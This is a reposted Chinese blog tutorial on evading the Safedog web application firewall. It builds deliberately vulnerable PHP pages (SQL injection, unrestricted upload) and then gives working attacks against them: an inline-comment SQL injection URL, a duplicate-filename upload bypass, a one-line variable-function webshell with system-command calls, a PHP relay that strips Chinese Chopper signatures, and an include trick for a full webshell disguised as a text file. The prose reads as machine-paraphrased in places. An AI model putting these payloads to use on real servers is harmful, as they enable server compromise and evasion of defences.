教你怎么绕过安全狗(safedog)tengxun - 娱乐之横扫全球

教你怎么绕过安全狗(safedog)tengxun

2019-02-14 11:37:53 | 作者: 运升 | 标签: 菜刀,文件,代码 | 浏览: 351

一、前语

    安全狗是一款咱们了解的服务器安全加固产品,据称现已具有50W的用户量。最近经过一些研讨,发现安全狗的一些防护功用,例如SQL注入、文件上传、防webshell等都能够被绕过,下面为咱们逐个介绍。

二、测验环境
    本次测验环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过
    咱们先写一个存在SQL注入缝隙的php:


仿制代码代码如下:
<?
$uid = $_REQUEST[id];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die(<font size=+1>An Error Occured</font><hr>unable to connect to the database.);
if(<a rel="external nofollow" href="mailto:!@mysql_select_db(%22supe%22,$conn">!@mysql_select_db("supe",$conn</a>))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where uid=".$uid;
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
echo $rom["username"];
}
?>

    我用的是supesite的库,能够看到这儿是有显着SQL注入缝隙的,当没有安全狗的时分能够成功注入:

当装置安全狗之后,注入句子会被阻拦:

    经过测验发现,安全狗这块的匹配正则应该是\s+and这类的,所以只需想办法去掉空格,用一般注释/**/是不可的,安全狗也防了这块。可是对内联注释/*!and*/这种不知道为什么安全狗没有阻拦。

用下面句子成功绕过SQL注入过滤:

https://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人说只需POST才能够,可是我测验最新版别的安全狗GET注入也是能够用这种办法绕过的。

四、文件上传绕过
    安全狗的防上传也是做在WEB层,即剖析HTTP协议来避免上传,依照yuange说的安满是一个条件句子,这显然是不符合安全标准的,只查看HTTP并不能确保文件体系层上的问题。

    假设有一个上传功用的php:


仿制代码代码如下:
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . $_FILES["file"]["type"] . "
";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />

<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

然后在安全狗里设置制止上传.php文件:

 

然后经过浏览器上传php会被阻拦:

 

    咱们经过burp把上传的HTTP包抓下来,然后自己进行一下修正POST数据。经过了一些试验,直接说成果吧,当添加一处文件名和内容,让两个文件名不一致的时分,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时分用的是第一个文件名test.jpg,是复合安全要求的,可是webserver在保存文件的时分却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全查看没有用,php文件现已成功上传了:

 



   这样的上传数据或许是不符合RFC标准的,可是却达到了绕过阻拦的意图。结论是每种安全查看必定要在对应的层次做查看,而不能想当然的在WEB层做体系层该做的工作。

五、一句话webshell绕过
    关于进犯者来说,安全狗很烦人的一点就是传上去的webshell却不能履行。咱们就来看看怎样绕过安全狗对一句话webshell的阻拦。

    首要要知道安全狗防webshell仍然是依托文件特征+HTTP来判别,但webshell真实履行是在脚本层,查看的层次不对当然也是能够容易绕过去的。由于php里边函数名都能够是变量,文件里哪还有特征啊,上传如下php:

<?php$_REQUEST[a]($_REQUEST[b]);?>
然后在浏览器里履行:

https://192.168.200.115/small.php?a=system&b=dir

 

成功履行了体系指令,当然也能够履行php代码:

https://192.168.200.115/small.php?a=assert&b=phpinfo();

 

六、菜刀绕过
    测验发现这种一句话尽管能够成功履行,可是在菜刀里却不能用,而有些人非觉得这样的一句话费事,非要用菜刀。经剖析安全狗对菜刀的HTTP恳求做了阻拦,菜刀的POST数据里边对eval数据做了base64编码,安全狗也就依托对这些特征来阻拦,因而要想正常运用菜刀,必须在本地做一个转发,先把有特征的数据转化。这个思路相似于对伪静态注入的本地转发。

    首要在本地建立WEB SERVER,然后写一个php转发程序:


仿制代码代码如下:
<?php
$target="<a rel="external nofollow" href="https://192.168.200.115/small.php";//">https://192.168.200.115/small.php";//</a>这个就是前面那个一句话的地址
$poststr=;
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER[QUERY_STRING];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

意思就是在本地先对eval数据进行base64解码,然后再POST到方针机器上去。在菜刀里设置URL为本地转发php脚本:

 

这样就能够运用菜刀来衔接前面那个一句话马了:

 

    这样就能用菜刀了,不过咱们真的没必要执着于菜刀,向咱们引荐一款更好的相似菜刀的东西Altman:

软件名称:
开源Webshell使用东西——Altman
软件巨细:
1.1MB
更新时刻:
2014-07-17


    它的最大特点是开源,这意味着像安全狗这种依据特征来阻拦的,只需改改源代码把特征字符串改掉,就永久也无法阻拦。当然改这个代码要你自己着手喽。

七、webshell大马绕过
一句话功用究竟有限,想用大马怎样办?仍然是传统的include大法,传一个big.php内容如下:

<?phpinclude(logo.txt);?>
然后再把大马上传为logo.txt,这样就成功绕过安全狗的阻拦履行了webshell:

 

这样大马也顺畅履行了。

八、结束语
    上面从SQL注入、上传、webshell等几个方面绕过了安全狗的维护,有些绕过办法安全狗或许早就知道了,可是为什么一向没有补?很或许的原因是怕过滤太严厉影响某些使用,在安全和通用性之间做取舍我认为是能够了解的,可是我觉得这也正是安全研讨人员存在的价值地点。

    这儿发几句题外的怨言,许多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研讨的价值。一般的防护办法原理很简单,但想要不影响使用又确保安全其实很难,假如没有对缝隙和进犯有深化了解的研讨人员,安全产品是无法更上一层楼的。期望各个安全公司不要太名利,对研讨人员多一些注重,安全公司真的不能只是等同于软件公司啊!

版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表娱乐之横扫全球立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章